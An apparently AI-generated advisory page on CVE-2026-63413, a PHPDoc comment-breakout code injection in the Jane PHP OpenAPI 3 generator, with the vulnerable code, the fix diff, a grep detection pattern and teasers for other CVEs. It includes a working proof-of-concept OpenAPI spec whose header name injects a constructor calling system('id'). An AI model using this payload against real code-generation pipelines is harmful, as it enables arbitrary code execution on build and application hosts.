CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-63413

CVE-2026-63413: Remote Code Execution via PHPDoc Comment Breakout in Jane PHP OpenAPI 3 Generator

Alon Barad
Alon Barad
Software Engineer

Nov 19, 2026·9 min read·1 visit

Executive Summary (TL;DR)

Jane PHP OpenAPI 3 generator versions prior to 7.12.0 fail to escape PHPDoc closing delimiters (*/) in parameter names and descriptions. Generating a PHP client from a malicious OpenAPI specification allows an attacker to inject arbitrary class-level PHP code, resulting in remote code execution upon client instantiation.

CVE-2026-63413 is a code injection vulnerability in the Jane PHP OpenAPI 3 SDK generator (jane-php/open-api-3) prior to version 7.12.0. The vulnerability occurs because the generator interpolates OpenAPI header and query parameter names directly into generated PHPDoc comment blocks without sanitizing comment closing delimiters (*/). An attacker who supplies or modifies an OpenAPI specification can break out of the docblock context and inject arbitrary PHP methods, such as a class constructor, into the generated Client or Endpoint class body. When the consuming application instantiates the generated SDK, the injected code executes with the privileges of the host PHP process.

Vulnerability Overview

Jane (janephp/janephp) is a suite of PHP libraries used to generate data models and HTTP API clients from JSON Schema and OpenAPI specifications. The jane-php/open-api-3 component specifically parses OpenAPI 3.0.x documents and emits strongly typed PHP classes representing API endpoints, request models, and client wrappers. Organizations use Jane in automated CI/CD pipelines and local development environments to maintain synchronized SDKs for internal and third-party REST APIs.

In versions of jane-php/open-api-3 prior to 7.12.0, the code generation routine responsible for building method documentation contains a code injection flaw classified under CWE-94 (Improper Control of Generation of Code). When constructing PHPDoc comments for generated Client and Endpoint classes, the generator writes OpenAPI header and query parameter names verbatim into the comment text without neutralizing PHPDoc syntax tokens.

This lack of input neutralization exposes an attack surface whenever a development workflow or automated service processes an untrusted or externally controlled OpenAPI specification. If a parameter name contains the multi-line comment closing sequence (*/), the generated PHPDoc block terminates prematurely. Any characters following that sequence in the parameter name are emitted directly into the PHP class body.

By supplying a crafted header parameter name, an attacker can inject valid PHP class declarations, including a __construct() method, followed by an opening comment token (/*) to maintain valid syntax for the remainder of the docblock. When the consuming PHP application loads and instantiates the generated client or endpoint class, the PHP runtime executes the injected constructor, resulting in arbitrary code execution.

Root Cause Analysis

Jane PHP relies on the nikic/php-parser library to construct an Abstract Syntax Tree (AST) before serializing the generated PHP classes to disk. When building executable PHP statements—such as class properties, method arguments, and array keys—nikic/php-parser enforces syntactic structural constraints and escapes string literals automatically. Consequently, standard AST node generation resists direct syntax breakout via untrusted specification strings.

However, PHPDoc annotations in nikic/php-parser (PhpParser\Comment\Doc) are handled as raw string literals attached to AST statement nodes rather than structured syntax trees. The parser does not validate or escape the internal contents of a docblock before emitting it prior to a class or method declaration. The responsibility for ensuring that a comment string does not contain an embedded */ delimiter lies entirely with the calling generator code.

In src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php, two methods construct docblock lines from OpenAPI parameter definitions: generateOptionDocParameter() and generateMethodDocParameter(). The generateOptionDocParameter() method documents the structure of the $headerParameters or $queryParameters associative array accepted by an endpoint, formatting each entry using sprintf(' * "%s"%s: %s%s', $parameter->getName(), ...).

Because $parameter->getName() and $parameter->getDescription() are passed directly to sprintf() without filtering or escaping */, the lexical boundary of the comment is violated as soon as the PHP pretty-printer outputs the AST node to a .php file. A parallel issue exists in generateMethodDocParameter(), where $this->getInflector()->camelize($parameter->getName()) and $parameter->getDescription() are interpolated into @param lines without escaping comment terminators.

Code Analysis

The vulnerable code resides in src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php. Prior to version 7.12.0, the generator extracted parameter metadata from the parsed Parameter object and formatted it directly into PHPDoc lines.

// Vulnerable code prior to v7.12.0
public function generateMethodDocParameter($parameter, Context $context, string $reference): string
{
    $type = 'mixed';
    if ($parameter->getSchema()) {
        $type = implode('|', $this->convertParameterType($parameter->getSchema()));
    }
 
    // VULNERABLE: Neither the camelized parameter name nor the description is sanitized for '*/'
    return rtrim(\sprintf(
        ' * @param %s $%s %s',
        $type,
        $this->getInflector()->camelize($parameter->getName()),
        $parameter->getDescription() ?: ''
    ));
}
 
public function generateOptionDocParameter(Parameter $parameter): string
{
    $type = 'mixed';
    if ($parameter->getSchema()) {
        $type = implode('|', $this->convertParameterType($parameter->getSchema()));
    }
 
    // VULNERABLE: Description lines are trimmed but '*/' sequences remain intact
    $description = implode("\n", array_map(rtrim(...), explode("\n", $parameter->getDescription() ?: '')));
 
    return rtrim(
        \sprintf(
            ' *    "%s"%s: %s%s',
            $parameter->getName(), // VULNERABLE: Raw header/query parameter name interpolated
            $parameter->getRequired() ? '' : '?',
            $type,
            $description !== '' ? ', //' . $description : ','
        )
    );
}

Commit 0ea379deab5689475d62653b408de62ad3611c7a (Pull Request #960) remediates this vulnerability by applying str_replace('*/', '*\\/', ...) to all user-controlled parameter names and descriptions before they are placed inside docblock strings.

diff --git a/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php b/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
--- a/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
+++ b/src/Component/OpenApi3/Generator/Parameter/NonBodyParameterGenerator.php
@@ -145,7 +145,7 @@ public function generateMethodDocParameter($parameter, Context $context, string
             $type = implode('|', $this->convertParameterType($parameter->getSchema()));
         }
 
-        return rtrim(\sprintf(' * @param %s $%s %s', $type, $this->getInflector()->camelize($parameter->getName()), $parameter->getDescription() ?: ''));
+        return rtrim(\sprintf(' * @param %s $%s %s', $type, str_replace('*/', '*\\/', $this->getInflector()->camelize($parameter->getName())), str_replace('*/', '*\\/', $parameter->getDescription() ?: '')));
     }
 
     public function generateOptionDocParameter(Parameter $parameter): string
@@ -156,12 +156,12 @@ public function generateOptionDocParameter(Parameter $parameter): string
             $type = implode('|', $this->convertParameterType($parameter->getSchema()));
         }
 
-        $description = implode("\n", array_map(rtrim(...), explode("\n", $parameter->getDescription() ?: '')));
+        $description = implode("\n", array_map(fn (string $line): string => str_replace('*/', '*\\/', rtrim($line)), explode("\n", $parameter->getDescription() ?: '')));
 
         return rtrim(
             \sprintf(
                 ' *    "%s"%s: %s%s',
-                $parameter->getName(),
+                str_replace('*/', '*\\/', $parameter->getName()),
                 $parameter->getRequired() ? '' : '?',
                 $type,
                 $description !== '' ? ', //' . $description : ','

The patch replaces every instance of */ with *\/, inserting a backslash between the asterisk and the forward slash. Because PHP's lexer only recognizes the contiguous two-byte sequence */ as a multi-line comment terminator, the escaped *\/ sequence cannot close the PHPDoc block.

From a fix completeness standpoint, the maintainers also audited and patched sibling docblock generators across the codebase in the same commit (tracked under related advisories GHSA-xwcw-j52r-34x4 and GHSA-q8v2-3j4h-xg2p), including GetConstructorTrait.php, PropertyGenerator.php, and GetterSetterGenerator.php across the OpenAPI 2, OpenAPI 3, and JSON Schema components. Note that while generateOptionDocParameter splits descriptions on \n, single-line \r characters or newline sequences inside $parameter->getName() itself could still break single-line formatting within the comment, though they cannot break out of the /** ... */ block once */ is neutralized.

Exploitation

Exploitation requires two operational phases: code generation from an attacker-influenced OpenAPI specification and subsequent loading or instantiation of the generated PHP class by the target application. No special privileges or runtime configuration options are required beyond standard Jane OpenAPI generation.

In the first phase, the attacker crafts an OpenAPI 3.0 document containing a malicious header parameter inside a path operation. If the parameter is optional ("required": false), Jane does not promote it to a constructor argument on the Endpoint class, which leaves the Endpoint class without a default __construct() method or allows injection into the Client class docblock where the method sits directly in class scope. Even if the Endpoint class defines its own constructor later, the attacker can inject a constructor into the generated Client class (which documents the endpoint methods) or use another magic method or trait/property initializer.

{
  "openapi": "3.0.2",
  "info": {
    "title": "Exploit Specification",
    "version": "1.0.0"
  },
  "paths": {
    "/v1/resource": {
      "get": {
        "operationId": "getResource",
        "parameters": [
          {
            "name": "*/ public function __construct(){ system('id'); } /*",
            "in": "header",
            "required": false,
            "schema": {
              "type": "string"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "Success"
          }
        }
      }
    }
  }
}

When the target environment runs vendor/bin/jane-openapi generate, Jane emits a PHP class where the docblock for the endpoint or client method is broken into valid PHP syntax:

namespace App\Generated\ApiClient;
 
class Client extends \Jane\Component\OpenApiRuntime\Client\PluginClient
{
    /**
     * @param array $headerParameters {
     *    "*/ public function __construct(){ system('id'); } /*"?: string,
     * }
     */
    public function getResource(array $headerParameters = [], string $fetch = self::FETCH_OBJECT)
    {
        return $this->executeEndpoint(new \App\Generated\ApiClient\Endpoint\GetResource($headerParameters), $fetch);
    }
}

In the second phase, when the consuming application executes Client::create() or instantiates the affected class via new, the PHP engine invokes the injected __construct() method. The payload executes immediately in the context of the PHP process without requiring the application to invoke the getResource() API call itself.

Impact Assessment

Successful exploitation grants the attacker arbitrary PHP code execution with the privileges of the process running the generated SDK. In a web application or microservice environment, this exposes application memory, configuration secrets, environment variables, database credentials, and internal network resources accessible from the application host.

If the generated SDK is instantiated during automated CI/CD build, test, or static analysis steps (such as PHPUnit test runs or reflection-based discovery tools that instantiate or evaluate classes), code execution occurs directly within the build runner environment. Compromise of a CI/CD runner can expose deployment keys, source code repositories, and package publishing tokens.

CVE-2026-63413 carries a CVSS v4.0 Base Score of 9.3 (Critical) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. The Network (AV:N) attack vector reflects scenarios where OpenAPI specifications are fetched from remote URLs or third-party endpoints, while Low Attack Complexity (AC:L) and None Attack Requirements (AT:N) reflect the deterministic nature of the docblock breakout.

As of the current threat intelligence evaluation, the vulnerability has an EPSS score of 0.00312 (24.64th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Because exploitation depends on ingesting an untrusted OpenAPI specification during code generation rather than sending a single packet to an exposed web server, mass opportunistic scanning is limited, and the primary risk lies in SaaS integrations, automated SDK generation platforms, and supply-chain workflows.

Remediation

The primary remediation is to upgrade jane-php/open-api-3 (and any co-installed Jane packages such as jane-php/open-api-2, jane-php/open-api-common, and jane-php/json-schema) to version 7.12.0 or later. Version 7.12.0 escapes */ comment delimiters across all parameter, property, and constructor docblock generators.

> [!IMPORTANT] > Upgrading the Composer package alone does not remediate code that has already been generated and committed to a repository. After upgrading jane-php/open-api-3 to >= 7.12.0, you must re-run vendor/bin/jane-openapi generate to overwrite all previously generated SDK files.

For environments where an immediate upgrade is not possible, implement pre-generation validation on all incoming OpenAPI specifications. Ensure that all parameter name fields conform strictly to valid HTTP header and query token characters (such as matching the regular expression ^[A-Za-z0-9\-_\.]+$), and reject any specification containing the character sequence */ in name or description fields.

Additionally, organizations running automated SDK generation in CI/CD pipelines should inspect existing generated directories for signs of docblock breakout before executing tests or deploying artifacts:

# Scan generated PHP files for comment termination followed by method or visibility keywords
grep -rnE '\*/[[:space:]]*(public|protected|private|static|function|__construct)' path/to/generated/

Official Patches

janephpGitHub Commit 0ea379deab5689475d62653b408de62ad3611c7a
janephpPull Request #960 fixing PHPDoc injection across generators
janephpJane PHP v7.12.0 Release

Fix Analysis (1)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.31%
Top 75% most exploited

Affected Systems

jane-php/open-api-3janephp/janephp

Affected Versions Detail

Product
Affected Versions
Fixed Version
jane-php/open-api-3
janephp
< 7.12.07.12.0
AttributeDetail
Vulnerability TypeCWE-94: Improper Control of Generation of Code (Code Injection)
CVSS v4.0 Score9.3 Critical (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Affected Componentjane-php/open-api-3 (NonBodyParameterGenerator.php)
Affected Versions< 7.12.0
Patched Version7.12.0
EPSS Score0.31% (24.64th percentile)
Exploit StatusProof-of-Concept (Regression tests in official repository)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The application constructs all or part of a code segment using externally influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Known Exploits & Detection

GitHubOfficial fix commit including IssuePhpDocInjectionRegressionTest.php demonstrating the PHPDoc breakout payload.
GitHubGitHub Security Advisory describing the header parameter PHPDoc breakout mechanism.

Vulnerability Timeline

Fix committed in PR #960 (0ea379deab5689475d62653b408de62ad3611c7a) and version 7.12.0 released.
2026-07-09
CVE-2026-63413 and GitHub Security Advisory GHSA-x9xr-53qx-9qcf officially published.
2026-11-18
CVE.org and NVD finalized CVSS v4.0 scoring and CWE-94 mapping.
2026-11-19

References & Sources

  • [1]GitHub Security Advisory GHSA-x9xr-53qx-9qcf
  • [2]Jane PHP Pull Request #960
  • [3]Fix Commit 0ea379deab5689475d62653b408de62ad3611c7a
  • [4]Jane PHP Release v7.12.0
  • [5]NVD - CVE-2026-63413
  • [6]CVE.org - CVE-2026-63413
  • [7]CVEList V5 Record - CVE-2026-63413

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-63412
9.3

CVE-2026-63412: Remote Code Execution via PHPDoc Comment Injection in Jane PHP OpenAPI Generator

CVE-2026-63412 is a code injection vulnerability in the Jane PHP library suite (affecting jane-php/open-api-3, jane-php/open-api-2, jane-php/open-api-31, and jane-php/json-schema) prior to version 7.12.0. The flaw occurs during the automated generation of PHP client SDKs and data models from OpenAPI specifications. While Jane uses an Abstract Syntax Tree (AST) for safe generation of standard PHP tokens, it constructs PHPDoc comments via raw string interpolation without neutralizing multi-line comment closing delimiters (*/). An attacker who provides or modifies an OpenAPI specification can inject a closing comment sequence inside a query parameter name, escaping the docblock context and writing arbitrary PHP code directly into the class body of generated endpoints or clients. When the consuming application instantiates the generated class, injected methods such as __construct() execute automatically, resulting in remote code execution.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•CVE-2026-58214
4.3

CVE-2026-58214: MQTT Internal Subject Subscription ACL Bypass in NATS Server

CVE-2026-58214 is an incorrect authorization vulnerability (CWE-863) in the MQTT bridge implementation of NATS Server. The vulnerability results from an incomplete fix for CVE-2026-33217 within the subscription processing routine in server/mqtt.go. Because internal delivery subscriptions bypass standard account-level allow-list validation in canSubscribe, the MQTT session manager relies on explicit prefix filtering in processSubs to prevent clients from subscribing to internal broker subjects. Affected versions fail to validate incoming MQTT subscription filters against the internal QoS 2 PubRel delivery prefix ($MQTT.deliver.pubrel.), allowing authenticated MQTT clients to subscribe to internal operational subjects and monitor QoS 2 protocol metadata across all sessions within the same NATS account.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 5 hours ago•CVE-2026-69155
8.7

CVE-2026-69155: Stored Cross-Site Scripting in Atomic Server File Download Handler

CVE-2026-69155 (GHSA-x277-3wcg-g9r2) is a stored cross-site scripting (XSS) vulnerability in Atomic Server versions 0.30.0 prior to 0.40.3. The vulnerability resides in the HTTP file-download handler (server/src/handlers/download.rs), which serves user-uploaded files with an inline Content-Disposition and attacker-controlled MIME types such as text/html or image/svg+xml. Because the endpoint lacks X-Content-Type-Options: nosniff and Content-Security-Policy restrictions, an authenticated user with upload privileges can store malicious JavaScript that executes within a victim's browser in the primary application origin. Executing code in this context grants access to non-HttpOnly session cookies and unencrypted Ed25519 cryptographic private keys stored in IndexedDB, leading to full account takeover.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 6 hours ago•CVE-2026-69156
8.1

CVE-2026-69156: Arbitrary File Read and Root Key Disclosure via Path Traversal in Atomic Server

CVE-2026-69156 is an authenticated path traversal and arbitrary file read vulnerability in Ontola Atomic Server versions 0.30.0 prior to 0.40.3. The flaw arises from a failure to restrict server-managed properties during Commit ingestion in lib/src/commit.rs, combined with unsanitized filesystem path construction in the /download endpoint handler in server/src/handlers/download.rs. An authenticated Agent can assign an arbitrary relative or absolute filesystem path to the internalId property of an owned resource and retrieve the target file via the download endpoint, exposing the server configuration file (config.toml) and the root Agent ED25519 private key.

Alon Barad
Alon Barad
7 views•12 min read
•about 7 hours ago•CVE-2026-69157
9.8

CVE-2026-69157: Unauthenticated Administrative Takeover via /setup in Atomic Server

CVE-2026-69157 (GHSA-pfwx-xjp4-qxcj) is a critical missing authentication vulnerability (CWE-306) affecting Atomic Server versions 0.29.0 through 0.40.2. During initial deployment, the server exposes an unauthenticated /setup endpoint that generates an invite token granting root write permissions across the entire Drive. Because the invite redemption handler discards the redeemer identity, an unauthenticated remote attacker can intercept or request this setup invite on an unclaimed instance, register an arbitrary Agent public key, and assume full administrative control over the database.

Alon Barad
Alon Barad
6 views•10 min read
•about 8 hours ago•CVE-2026-69158
8.6

CVE-2026-69158: Unauthenticated Full-Response SSRF in Atomic Server /bookmark Endpoint

CVE-2026-69158 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in Ontola Atomic Server (atomic-server) and its underlying Rust library (atomic_lib). Prior to versions 0.40.2 and 0.40.3, the server exposed an unauthenticated HTTP GET endpoint at /bookmark (and handled user-supplied URLs via POST to /import) that fetched arbitrary caller-supplied URLs after performing only a naive string prefix check. Because endpoint routing bypassed read authorization checks and reflected the retrieved content back to the client, unauthenticated remote attackers can force the server to issue HTTP GET requests to internal network destinations, localhost services, and cloud instance metadata endpoints.

Amit Schendel
Amit Schendel
5 views•11 min read